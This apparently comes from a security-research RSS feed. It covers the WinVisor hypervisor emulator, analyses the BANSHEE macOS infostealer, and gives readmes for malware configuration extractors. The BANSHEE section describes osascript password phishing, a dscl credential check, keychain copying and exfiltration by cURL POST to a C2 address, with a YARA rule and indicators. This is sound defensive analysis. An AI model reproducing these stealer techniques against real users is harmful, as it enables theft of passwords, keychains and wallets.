<p>As mentioned earlier, the emulator creates a child process, and all virtual memory within that process will be mapped directly into the guest using the same address layout. The Hypervisor Platform API allows us to map virtual memory from the host user-mode process directly into the physical memory of the guest. The paging table will then map virtual addresses to the corresponding physical pages.</p>
<p>Instead of mapping the entire address space of the process upfront, a fixed number of physical pages are allocated for the guest. The emulator contains a very basic memory manager, and pages are mapped &quot;on demand.&quot; When a page fault occurs, the requested page will be paged in, and execution resumes. If all page &quot;slots&quot; are full, the oldest entry is swapped out to make room for the new one.</p>
<p>In addition to using a fixed number of currently mapped pages, the emulator also uses a fixed-size page table. The size of the page table is determined by calculating the maximum possible number of tables for the amount of mapped page entries. This model results in a simple and consistent physical memory layout but comes at the cost of efficiency. In fact, the paging tables take up more space than the actual page entries.</p>
<p>There is a single PML4 table, and in the worst-case scenario, each mapped page entry will reference unique PDPT/PD/PT tables. As each table is <code>4096</code> bytes, the total page table size can be calculated using the following formula:</p>
<pre><code>PAGE_TABLE_SIZE = 4096 + (MAXIMUM_MAPPED_PAGES * 4096 * 3)
</code></pre>
<p>By default, the emulator allows for <code>256</code> pages to be mapped at any one time (<code>1024KB</code> in total). Using the formula above, we can calculate that this will require <code>3076KB</code> for the paging table, as illustrated below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/winvisor-hypervisor-based-emulator/8gv-image.png" alt="Diagram illustrating the physical memory map within the virtualized guest" title="Diagram illustrating the physical memory map within the virtualized guest" /></p>
<p>In practice, many of the page table entries will be shared, and a lot of the space allocated for the paging tables will remain unused. However, as this emulator functions well even with a small number of pages, this level of overhead is not a major concern.</p>
<p>The CPU maintains a hardware-level cache for the paging table known as the Translation Lookaside Buffer (TLB). When translating a virtual address to a physical address, the CPU will first check the TLB. If a matching entry is not found in the cache (known as a “TLB miss”), the paging tables will be read instead. For this reason, it is important to flush the TLB cache whenever the paging tables have been rebuilt to prevent it from falling out of sync. The simplest way to flush the entire TLB is to reset the <code>CR3</code> register value.</p>
<h2>Syscall handling</h2>
<p>As the target program executes, any system calls that occur within the guest must be handled by the host. This emulator handles both <code>SYSCALL</code> instructions and legacy (interrupt-based) syscalls. <code>SYSENTER</code> is not used in long-mode and, therefore, is not supported by WinVisor.</p>
<h3>Fast syscall (SYSCALL)</h3>
<p>When a <code>SYSCALL</code> instruction executes, the CPU transitions to CPL0 and loads <code>RIP</code> from <code>MSR_LSTAR</code>. In the Windows kernel, this would point to <code>KiSystemCall64</code>. <code>SYSCALL</code> instructions won't inherently trigger a VM Exit event, but the emulator sets <code>MSR_LSTAR</code> to a reserved placeholder address — <code>0xFFFF800000000000</code> in this case. When a <code>SYSCALL</code> instruction is executed, a page fault will be raised when RIP is set to this address, and the call can be intercepted. This placeholder is a kernel address in Windows and won't cause any conflicts with the user-mode address space.</p>
<p>Unlike legacy syscalls, the <code>SYSCALL</code> instruction doesn't swap the <code>RSP</code> value during the transition to CPL0, so the user-mode stack pointer can be retrieved directly from <code>RSP</code>.</p>
<h3>Legacy syscalls (INT 2E)</h3>
<p>Legacy interrupt-based syscalls are slower and have more overhead than the <code>SYSCALL</code> instruction, but despite this, they are still supported by Windows. As the emulator already contains a framework for handling interrupts, adding support for legacy syscalls is very simple. When a legacy syscall interrupt is caught, it can be forwarded to the “common” syscall handler after some minor translations — specifically, retrieving the stored user-mode <code>RSP</code> value from the CPL0 stack.</p>
<h3>Syscall forwarding</h3>
<p>After the emulator creates the &quot;main thread&quot; whose context gets cloned into the virtual CPU, this native thread is reused as a proxy to forward syscalls to the host. Reusing the same thread maintains consistency for the TEB and any kernel state between the guest and the host. Win32k, in particular, relies on many thread-specific states, which should be reflected in the emulator.</p>
<p>When a syscall occurs, either by a <code>SYSCALL</code> instruction or a legacy interrupt, the emulator intercepts it and transfers it to a universal handler function. The syscall number is stored in the <code>RAX</code> register, and the first four parameter values are stored in <code>R10</code>, <code>RDX</code>, <code>R8</code>, and <code>R9</code>, respectively. <code>R10</code> is used for the first parameter instead of the usual <code>RCX</code> register because the <code>SYSCALL</code> instruction overwrites <code>RCX</code> with the return address. The legacy syscall handler in Windows (<code>KiSystemService</code>) also uses <code>R10</code> for compatibility, so it doesn’t need to be handled differently in the emulator. The remaining parameters are retrieved from the stack.</p>
<p>We don’t know the exact number of parameters expected for any given syscall number, but luckily, this doesn’t matter. We can simply use a fixed amount, and as long as the number of supplied parameters is greater than or equal to the actual number, the syscall will function correctly. A simple assembly stub will be dynamically created, populating all of the parameters, executing the target syscall, and returning cleanly.</p>
<p>Testing showed that the maximum number of parameters currently used by Windows syscalls is <code>17</code> (<code>NtAccessCheckByTypeResultListAndAuditAlarmByHandle</code>, <code>NtCreateTokenEx</code>, and <code>NtUserCreateWindowEx</code>). WinVisor uses <code>32</code> as the maximum number of parameters to allow for potential future expansion.</p>
<p>After executing the syscall on the host, the return value is copied to <code>RAX</code> in the guest. <code>RIP</code> is then transferred to a <code>SYSRET</code> instruction (or <code>IRETQ</code> for legacy syscalls) before resuming the virtual CPU for a seamless transition back to user-mode.</p>
<h3>Syscall logging</h3>
<p>By default, the emulator simply forwards guest syscalls to the host and logs them to the console. However, some additional steps are necessary to convert the raw syscalls into a readable format.</p>
<p>The first step is to convert the syscall number to a name. Syscall numbers are made up of multiple parts: bits <code>12</code> - <code>13</code> contain the system service table index (<code>0</code> for <code>ntoskrnl</code>, <code>1</code> for <code>win32k</code>), and bits <code>0</code> - <code>11</code> contain the syscall index within the table. This information allows us to perform a reverse-lookup within the corresponding user-mode module (<code>ntdll</code> / <code>win32u</code>) to resolve the original syscall name.</p>
<p>The next step is to determine the number of parameter values to display for each syscall. As mentioned above, the emulator passes <code>32</code> parameter values to each syscall, even if most of them are not used. However, logging all <code>32</code> values for each syscall wouldn't be ideal for readability reasons. For example, a simple <code>NtClose(0x100)</code> call would be printed as <code>NtClose(0x100, xxx, xxx, xxx, xxx, xxx, xxx, xxx, xxx, ...)</code>. As mentioned earlier, there is no simple way to automatically determine the exact number of parameters for each syscall, but there is a trick that we can use to estimate it with high accuracy.</p>
<p>This trick relies on the 32-bit system libraries used by WoW64. These libraries use the stdcall calling convention, which means the caller pushes all parameters onto the stack, and they are cleaned internally by the callee before returning. In contrast, native x64 code places the first 4 parameters into registers, and the caller is responsible for managing the stack.</p>
<p>For example, the <code>NtClose</code> function in the WoW64 version of <code>ntdll.dll</code> ends with the <code>RET 4</code> instruction. This pops an additional 4-bytes off the stack after the return address, which implies that the function takes one parameter. If the function used <code>RET 8</code>, this would suggest that it takes 2 parameters, and so on.</p>
<p>Even though the emulator runs as a 64-bit process, we can still load the 32-bit copies of <code>ntdll.dll</code> and <code>win32u.dll</code> into memory - either manually or mapped using <code>SEC_IMAGE</code>. A custom version of <code>GetProcAddress</code> must be written to resolve the WoW64 export addresses, but this is a trivial task. From here, we can automatically find the corresponding WoW64 export for each syscall, scan for the <code>RET</code> instruction to calculate the number of parameters, and store the value in a lookup table.</p>
<p>This method is not perfect, and there are a number of ways that this could fail:</p>
<ul>
<li>A small number of native syscalls don't exist in WoW64, such as <code>NtUserSetWindowLongPtr</code>.</li>
<li>If a 32-bit function contains a 64-bit parameter, it will be split into 2x 32-bit parameters internally, whereas the corresponding 64-bit function would only require a single parameter for the same value.</li>
<li>The WoW64 syscall stub functions within Windows could change in such a way that causes the existing <code>RET</code> instruction search to fail.</li>
</ul>
<p>Despite these pitfalls, the results will be accurate for the vast majority of syscalls without having to rely on hardcoded values. In addition, these values are only used for logging purposes and won't affect anything else, so minor inaccuracies are acceptable in this context. If a failure is detected, it will revert back to displaying the maximum number of parameter values.</p>
<h3>Syscall hooking</h3>
<p>If this project were being used for sandboxing purposes, blindly forwarding all syscalls to the host would be undesirable for obvious reasons. The emulator contains a framework that allows specific syscalls to be easily hooked if necessary.</p>
<p>By default, only <code>NtTerminateThread</code> and <code>NtTerminateProcess</code> are hooked to catch the guest process exiting.</p>
<h2>Interrupt handling</h2>
<p>Interrupts are defined by the IDT, which is populated before the virtual CPU execution begins. When an interrupt occurs, the current CPU state is pushed onto the CPL0 stack (<code>SS</code>, <code>RSP</code>, <code>RFLAGS</code>, <code>CS</code>, <code>RIP</code>), and <code>RIP</code> is set to the target handler function.</p>
<p>As with <code>MSR_LSTAR</code> for the SYSCALL handler, the emulator populates all interrupt handler addresses with placeholder values (<code>0xFFFFA00000000000</code> - <code>0xFFFFA000000000FF</code>). When an interrupt occurs, a page fault will occur within this range, which we can catch. The interrupt index can be extracted from the lowest 8-bits of the target address (e.g., <code>0xFFFFA00000000003</code> is <code>INT 3</code>), and the host can handle it as necessary.</p>
<p>At present, the emulator only handles <code>INT 1</code> (single-step), <code>INT 3</code> (breakpoint), and <code>INT 2E</code> (legacy syscall). If any other interrupt is caught, the emulator will exit with an error.</p>
<p>When an interrupt has been handled, <code>RIP</code> is transferred to an <code>IRETQ</code> instruction, which returns to user-mode cleanly. Some types of interrupts push an additional &quot;error code&quot; value onto the stack - if this is the case, it must be popped prior to the <code>IRETQ</code> instruction to avoid stack corruption. The interrupt handler framework within this emulator contains an optional flag to handle this transparently.</p>
<h2>Hypervisor shared page bug</h2>
<p>Windows 10 introduced a new type of shared page which is located close to <code>KUSER_SHARED_DATA</code>. This page is used by timing-related functions such as <code>RtlQueryPerformanceCounter</code> and <code>RtlGetMultiTimePrecise</code>.</p>
<p>The exact address of this page can be retrieved with <code>NtQuerySystemInformation</code>, using the <code>SystemHypervisorSharedPageInformation</code> information class. The <code>LdrpInitializeProcess</code> function stores the address of this page in a global variable (<code>RtlpHypervisorSharedUserVa</code>) during process startup.</p>
<p>The WHP API seems to contain a bug that causes the <code>WHvRunVirtualProcessor</code> function to get stuck in an infinite loop if this shared page is mapped into the guest and the virtual CPU attempts to read from it.</p>
<p>Time constraints limited the ability to fully investigate this; however, a simple workaround was implemented. The emulator patches the <code>NtQuerySystemInformation</code> function within the target process and forces it to return <code>STATUS_INVALID_INFO_CLASS</code> for <code>SystemHypervisorSharedPageInformation</code> requests. This causes the <code>ntdll</code> code to fall back to traditional methods.</p>
<h2>Demos</h2>
<p>Some examples of common Windows executables being emulated under this virtualized environment below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/winvisor-hypervisor-based-emulator/Slj_Image_3.png" alt="ping.exe being emulated by WinVisor" title="ping.exe being emulated by WinVisor" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/winvisor-hypervisor-based-emulator/gs2_Image_4.png" alt="cmd.exe being emulated by WinVisor" title="cmd.exe being emulated by WinVisor" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/winvisor-hypervisor-based-emulator/zkL_Image_5.png" alt="notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes" title="notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes" /></p>
<h2>Limitations</h2>
<p>The emulator has several limitations that make it unsafe to use as a secure sandbox in its current form.</p>
<h3>Safety issues</h3>
<p>There are several ways to &quot;escape&quot; the VM, such as simply creating a new process/thread, scheduling asynchronous procedure calls (APCs), etc.</p>
<p>Windows GUI-related syscalls can also make nested calls directly back into user-mode from the kernel, which would currently bypass the hypervisor layer. For this reason, GUI executables such as notepad.exe are only partially virtualized when run under WinVisor.</p>
<p>To demonstrate this, WinVisor includes an <code>-nx</code> command-line switch to the emulator. This forces the entire target EXE image to be marked as non-executable in memory prior to starting the virtual CPU, causing the process to crash if the host process attempts to execute any of the code natively. However, this is still unsafe to rely on — the target application could make the region executable again or simply allocate executable memory elsewhere.</p>
<p>As the WinVisor DLL is injected into the target process, it exists within the same virtual address space as the target executable. This means the code running under the virtual CPU is able to directly access the memory within the host hypervisor module, which could potentially corrupt it.</p>
<h3>Non-executable guest memory</h3>
<p>While the virtual CPU is set up to support NX, all memory regions are currently mirrored into the guest with full RWX access.</p>
<h3>Single-thread only</h3>
<p>The emulator currently only supports virtualizing a single thread. If the target executable creates additional threads, they will be executed natively. To support multiple threads, a pseudo-scheduler could be developed to handle this in the future.</p>
<p>The Windows parallel loader is disabled to ensure all module dependencies are loaded by a single thread.</p>
<h3>Software exceptions</h3>
<p>Virtualized software exceptions are not currently supported. If an exception occurs, the system will call the <code>KiUserExceptionDispatcher</code> function natively as usual.</p>
<h2>Conclusion</h2>
<p>As seen above, the emulator performs well with a wide range of executables in its current form. While it is currently effective for logging syscalls and interrupts, a lot of further work would be required to make it safe to use for malware analysis purposes. Despite this, the project provides an effective framework for future development.</p>
<h2>Project links</h2>
<p><a href="https://github.com/x86matthew/WinVisor">https://github.com/x86matthew/WinVisor</a></p>
<p>The author can be found on X at <a href="https://x.com/x86matthew">@x86matthew</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/winvisor-hypervisor-based-emulator/winvisor.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Beyond the wail: deconstructing the BANSHEE infostealer]]></title>
            <link>https://www.elastic.co/es/security-labs/beyond-the-wail</link>
            <guid>beyond-the-wail</guid>
            <pubDate>Thu, 15 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>In August 2024, a novel macOS malware named &quot;BANSHEE Stealer&quot; emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures.</p>
<p>This malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.</p>
<p>With a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla.</p>
<p>As macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image2.png" alt="Source: https://x.com/privacyis1st/status/1822948909670408573" title="Source: https://x.com/privacyis1st/status/1822948909670408573" /></p>
<h2>Key takeaways</h2>
<ul>
<li>BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.</li>
<li>BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.</li>
<li>BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.</li>
</ul>
<h2>Malware Analysis</h2>
<p>The malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image5.png" alt="Functions list that initialize the global variables of every source file" title="Functions list that initialize the global variables of every source file" /></p>
<p>The following table summarizes the leaked <code>.cpp</code> file names through the symbols in the binary.</p>
<table>
<thead>
<tr>
<th>File name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Controller.cpp</code></td>
<td>Manages core execution tasks, including anti-debugging measures, language checks, data collection, and exfiltration.</td>
</tr>
<tr>
<td><code>Browsers.cpp</code></td>
<td>Handles the collection of data from various web browsers.</td>
</tr>
<tr>
<td><code>System.cpp</code></td>
<td>Executes AppleScripts to gather system information and perform password phishing.</td>
</tr>
<tr>
<td><code>Tools.cpp</code></td>
<td>Provides utility functions for encryption, directory creation, and compression etc.</td>
</tr>
<tr>
<td><code>Wallets.cpp</code></td>
<td>Responsible for collecting data from cryptocurrency wallets.</td>
</tr>
</tbody>
</table>
<h3>Debugger, VM Detection, and Language Checks</h3>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image8.png" alt="Checking for debugging, Virtualization, and the language of the machine" title="Checking for debugging, Virtualization, and the language of the machine" /></p>
<p>BANSHEE Stealer uses basic techniques to evade detection. It detects debugging by utilizing the <a href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html">sysctl</a> API.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image1.png" alt="Debugging detection with sysctl macOS API" title="Debugging detection with sysctl macOS API" /></p>
<p>For virtualization detection, it runs the command <code>system_profiler SPHardwareDataType | grep 'Model Identifier'</code> to determine whether the string <code>Virtual</code> appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image7.png" alt="Virtual machine check" title="Virtual machine check" /></p>
<p>Additionally, It parses the user-preferred canonicalized language returned from the <a href="https://developer.apple.com/documentation/corefoundation/1542887-cflocalecopypreferredlanguages">CFLocaleCopyPreferredLanguages </a> API and looks for the string <code>ru</code>. This tactic helps the malware avoid infecting systems where Russian is the primary language.</p>
<h3>System information collection</h3>
<h4>User password</h4>
<p>The malware creates an <a href="https://ss64.com/mac/osascript.html">Osascript</a> password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.</p>
<p>When the user enters the password, it will be validated using the <a href="https://ss64.com/mac/dscl.html">dscl</a> command by running <code>dscl Local/Default -authonly &lt;username&gt; &lt;password&gt;</code></p>
<p>If valid, the password will be written to the following file <code>/Users/&lt;username&gt;/password-entered</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image3.png" alt="User password phishing through a prompt" title="User password phishing through a prompt" /></p>
<p>These credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.</p>
<h4>File, software, and hardware information collection</h4>
<p>The function <code>System::collectSystemInfo</code> collects system information and serializes it in a JSON object. It executes the command <code>system_profiler SPSoftware DataType SPHardwareDataType</code>, which provides details about the system’s software and hardware. It gets the machine's public IP by requesting it from <code>freeipapi.com</code> through the built-in macOS <code>cURL</code> command.</p>
<p>The JSON file will be saved under <code>&lt;temporary_path&gt;/system_info.json</code></p>
<p>BANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file <code>/tmp/tempAppleScript</code>.</p>
<p>The first script to be executed first mutes the system sound with <code>osascript -e 'set volume with output muted'</code> command. It then collects various files from the system, which are listed below:</p>
<ul>
<li>Safari cookies</li>
<li>Notes database</li>
<li>Files with the following extensions <code>.txt</code>, <code>.docx</code>, <code>.rtf</code>, <code>.doc</code>, <code>.wallet</code>, <code>.keys</code>, or <code>.key</code> from the Desktop and Documents folders.</li>
</ul>
<h4>Dump keychain passwords</h4>
<p>It copies the keychain of the system <code>/Library/Keychains/login.keychain-db</code> to <code>&lt;temporary_path&gt;/Passwords</code></p>
<h3>Browser collection</h3>
<p>BANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:</p>
<ul>
<li>Chrome</li>
<li>Firefox</li>
<li>Brave</li>
<li>Edge</li>
<li>Vivaldi</li>
<li>Yandex</li>
<li>Opera</li>
<li>OperaGX</li>
</ul>
<p>Regarding Safari, only the cookies are collected by the AppleScript script for the current version.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image4.png" alt="Web browser file collection" title="Web browser file collection" /></p>
<p>Additionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.</p>
<p>The collected files are saved under <code>&lt;temporary_path&gt;/Browsers</code>.</p>
<h3>Wallet collection</h3>
<ul>
<li>Exodus</li>
<li>Electrum</li>
<li>Coinomi</li>
<li>Guarda</li>
<li>Wasabi Wallet</li>
<li>Atomic</li>
<li>Ledger</li>
</ul>
<p>The collected wallets are stored under <code>&lt;temporary_path&gt;/Wallets</code>.</p>
<h3>Exfiltration</h3>
<p>After the malware finishes collecting data, it first ZIP compresses the temporary folder using the <code>ditto</code> command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: <code>http://45.142.122[.]92/send/</code> with the built-in cURL command.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/image6.png" alt="Xor and base64 encoding of the zip file to be exfiltrated" title="Xor and base64 encoding of the zip file to be exfiltrated" /></p>
<h2>Behavior detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_crypto_wallet_file_access_by_unsigned_or_untrusted_binary.toml">Crypto Wallet File Access by Unsigned or Untrusted Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_web_browser_credential_data_accessed_by_unsigned_or_untrusted_process.toml">Web Browser Credential Data Accessed by Unsigned or Untrusted Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/command_and_control_osascript_payload_drop_and_execute.toml">Osascript Payload Drop and Execute</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_potential_credentials_phishing_via_osascript.toml">Potential Credentials Phishing via Osascript</a></li>
</ul>
<h2>YARA rule</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:</p>
<pre><code>rule Macos_Infostealer_Banshee {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-08-13&quot;
        last_modified = &quot;2024-08-13&quot;
        os = &quot;MacOS&quot;
        arch = &quot;x86, arm64&quot;
        category_type = &quot;Infostealer&quot;
        family = &quot;Banshee&quot;
        threat_name = &quot;Macos.Infostealer.Banshee&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $str_0 = &quot;No debugging, VM, or Russian language detected.&quot; ascii fullword
        $str_1 = &quot;Remote IP: &quot; ascii fullword
        $str_2 = &quot;Russian language detected!&quot; ascii fullword
        $str_3 = &quot; is empty or does not exist, skipping.&quot; ascii fullword
        $str_4 = &quot;Data posted successfully&quot; ascii fullword
        $binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }
        $binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }
    condition:
        all of ($str_*) or all of ($binary_*)
}
</code></pre>
<h2>Conclusion</h2>
<p>BANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.</p>
<h2>Observables</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/banshee">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>11aa6eeca2547fcf807129787bec0d576de1a29b56945c5a8fb16ed8bf68f782</td>
<td>SHA-256</td>
<td>BANSHEE stealer</td>
<td></td>
</tr>
<tr>
<td>45.142.122[.]92</td>
<td>ipv4-addr</td>
<td></td>
<td>BANSHEE stealer C2</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/beyond-the-wail/beyond-the-wail.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[NETWIRE Configuration Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/netwire-configuration-extractor</link>
            <guid>netwire-configuration-extractor</guid>
            <pubDate>Fri, 27 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to extract the configuration from NETWIRE samples.]]></description>
            <content:encoded><![CDATA[<p>Python script to extract the payload from NETWIRE samples.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdcef1d05d2077d05/63d43627c31a7126813ff8b6/netwire-configuration-extractor.tar.gz">Download netwire-configuration-extractor.tar.gz</a></p>
<blockquote>
<p>For information on the NETWIRE malware check out the following resources:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/netwire-dynamic-configuration-extraction">NETWIRE Dynamic Configuration Extraction</a></li>
</ul>
</blockquote>
<h2>Getting started</h2>
<h3>Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t netwire_loader_config_extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data netwire_loader_config_extractor:latest --help
</code></pre>
<h3>Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
netwire-config-extractor --help
</code></pre>
<h2>Usage</h2>
<p>All samples need to be unpacked prior to execution extraction attempts.</p>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample and then can output parts of the configuration of note, specifically:</p>
<ul>
<li><strong>-k</strong> : extract the encryption keys</li>
<li><strong>-c</strong> : extract the C2 information</li>
<li><strong>-s</strong> : extract the wide-character strings</li>
<li><strong>-a</strong> : extract the ASCII character strings</li>
</ul>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data netwire_loader_config_extractor:latest -d &quot;C:\tmp\samples&quot;
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/netwire-configuration-extractor/image6.jpg" alt="NETWIRE configuration extractor" /></p>
<p>You can collect the extracted configurations from the directory you set when running the extractor.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/netwire-configuration-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BLISTER Configuration Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/blister-configuration-extractor</link>
            <guid>blister-configuration-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to extract the configuration and payload from BLISTER samples.]]></description>
            <content:encoded><![CDATA[<p>Python script to extract the configuration and payload from BLISTER samples.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9bce8a0e1a513bd5/62882db13b9b8554904a4baa/blister-config-extractor.tar.gz">Download blister-config-extractor.tar.gz</a></p>
<h2>Getting Started</h2>
<p>This tool provides a Python module and command line tool that will extract configurations from the BLISTER malware loader and dump the results to screen.</p>
<blockquote>
<p>For information on the BLISTER malware loader and campaign observations, check out our blog posts detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/elastic-security-uncovers-blister-malware-campaign">BLISTER Campaign Analysis</a></li>
<li><a href="https://www.elastic.co/es/security-labs/blister-loader">BLISTER Malware Analysis</a></li>
</ul>
</blockquote>
<h3>Docker</h3>
<p>We can easily run the extractor with Docker, first we need to build the image:</p>
<pre><code>docker build . -t blister-config-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory:</p>
<pre><code>docker run -ti --rm -v \
&quot;$(pwd)/binaries&quot;:/binaries blister-config-extractor:latest -d /binaries/

</code></pre>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/blister-configuration-extractor/blister-configuration-extractor-image41.jpg" alt="BLISTER configuration extrator output" /></p>
<h3>Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
blister-config-extractor -h

</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>
<h2>References</h2>
<ul>
<li>Customised Rabbit cipher implementation based on <a href="https://github.com/Robin-Pwner/Rabbit-Cipher/">Rabbit-Cipher</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/blister-configuration-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BPFDoor Configuration Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/bpfdoor-configuration-extractor</link>
            <guid>bpfdoor-configuration-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Configuration extractor to dump out hardcoded passwords with BPFDoor.]]></description>
            <content:encoded><![CDATA[<p>Configuration extractor to dump out hardcoded passwords with BPFDoor.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt3f57100ade3473c5/62882ccdb4fa6b61ed70ba87/bpfdoor-config-extractor.tar.gz">Download bpfdoor-config-extractor.tar.gz</a></p>
<h2>Overview</h2>
<p>This tool provides a Python module and command line tool that will extract passwords from BPFDoor samples.</p>
<blockquote>
<p>The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will scan for BPFDoor infected hosts.</p>
<ul>
<li><a href="https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/">BPFDoor analysis</a></li>
<li><a href="https://www.elastic.co/es/security-labs/bpfdoor-scanner">BPFDoor scanner</a></li>
